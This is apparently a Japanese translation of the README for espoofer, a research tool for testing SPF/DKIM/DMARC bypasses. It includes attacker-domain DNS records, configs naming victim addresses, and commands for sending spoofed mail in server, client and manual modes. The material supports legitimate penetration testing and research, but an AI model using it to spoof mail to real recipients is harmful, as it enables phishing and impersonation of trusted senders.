
espooferは、メールシステムにおけるSPF、DKIM、DMARC認証をバイパスするためのオープンソーステストツールです。メールサーバ管理者やペネトレーションテスターが、対象のメールサーバやクライアントがメールなりすまし攻撃に対して脆弱であるかどうか、またはなりすましメールの送信に悪用される可能性があるかどうかを確認するのに役立ちます。
図1. Gmailに対するなりすまし攻撃の事例(修正済み、デモ動画)
メールなりすましは、個人と組織の両方にとって大きな脅威です(Yahooの情報漏洩、John podesta)。この問題に対処するため、現代のメールサービスやウェブサイトはSPF、DKIM、DMARCといった認証プロトコルを採用し、メールの偽造を防止しています。
私たちの最新の研究によると、これらのプロトコルの実装には多数のセキュリティ上の問題があり、SPF/DKIM/DMARC保護をバイパスするために悪用される可能性があります。図1は、GmailにおけるDKIMとDMARCをバイパスするなりすまし攻撃の一例を示しています。詳細な技術情報については、Black Hat USA 2020の講演(プレゼンテーション動画付き)またはUSENIX Security 2020の論文をご参照ください。
このリポジトリでは、見つけたすべてのテストケースをまとめ、管理者やセキュリティ実務者がこれらのセキュリティ問題を迅速に特定・特定できるように、このツールに統合しています。
Latex版:
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}
Word版:
Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.
git clone https://github.com/chenjj/espoofer
sudo pip3 install -r requirements.txt
Pythonバージョン: Python 3 (>=3.7).
espooferには3つの動作モードがあります:サーバ('s'、デフォルトモード)、クライアント('c')、および手動('m')です。サーバモードでは、espooferはメールサーバのように動作し、受信サービスの検証をテストします。クライアントモードでは、espooferはメールクライアントのように動作し、送信サービスの検証をテストします。手動モードはデバッグ目的で使用します。

図2. 3種類の攻撃者とその動作モード
サーバモードでespooferを実行するには、以下のものが必要です:1) 送信ポート25がISPによってブロックされていないIPアドレス(1.2.3.4)、2) ドメイン(attack.com)。
attack.comのDKIM公開鍵を設定selector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
attack.comのSPFレコードを設定attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"[email protected]", # legitimate.com
"victim_address": b"[email protected]", # [email protected]
"case_id": b"server_a1", # server_a1
}
-lオプションを使用して、すべてのテストケースのcase_idを一覧表示できます:
python3 espoofer.py -l
python3 espoofer.py
config.pyでcase_idを変更するか、コマンドラインで-idオプションを使用して異なるケースをテストできます:
python3 espoofer.py -id server_a1
クライアントモードでespooferを実行するには、対象のメールサービスにアカウントが必要です。この攻撃は、一部のメールサービスがローカルMUAから受信したメールに対して十分な検証を行わないという欠陥を悪用します。例えば、[email protected]が[email protected]になりすます場合などです。
config ={
"legitimate_site_address": b"[email protected]",
"victim_address": b"[email protected]",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP送信サーバのIPとポート
"username": b"[email protected]", # アカウントのユーザー名とパスワード
"password": b"your_passward_here",
},
}
-lオプションを使用して、すべてのテストケースのcase_idを一覧表示できます:
python3 espoofer.py -l
注:
sending_serverはSMTP送信サーバのアドレスであり、受信サーバのアドレスではありません。
python3 espoofer.py -m c
config.pyでcase_idを変更して再度実行するか、コマンドラインで-idオプションを使用できます:
python3 espoofer.py -m c -id client_a1
手動モードの例:
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25
バグ報告はプルリクエストでお送りください。
生のメッセージヘッダーのAuthentication-resultsヘッダーを確認してください。ヘッダーにdmarc=passと表示されていれば、メールはDMARC認証を通過したことを意味します。デモ動画はこちらでご覧いただけます。
メール送信に失敗する場合、いくつかの考えられる理由があります:1) スパム防止のためISPがポート25への送信をブロックしている。この場合、ISPに許可を求める必要があります。2) 対象のメールサービスのスパムリストにIPアドレスが含まれている。多くの場合、https://www.spamhaus.org/lookup/ で問題を解決できます。3) 一部のメールサービスは送信IPのPTRレコードをチェックするため、このチェックを通過するためにPTRレコードを設定する必要がある場合もあります。4) 対象のメールサービスのフォーマット検証を通過できない場合、別のテストケースを試してみるとよいでしょう。
現在、espooferはSPF/DKIM/DMARC認証のバイパスに焦点を当てており、スパムフィルターのバイパスを目的としていません。ただし、評判の良い送信IPアドレス、ドメイン、および無害なメッセージ内容を使用してスパムフィルターを回避することは可能かもしれません。
私たちの過去の経験では、一部のメールサービスは不審なメールを静かにフィルタリングすることがあります。
サードパーティのDNSホスティングサービスでは特殊文字の設定に制限がある場合があるため、独自の権威DNSサーバを設定する必要があります。詳細はissueをご参照ください。
さらなるテストケースの追加を歓迎します。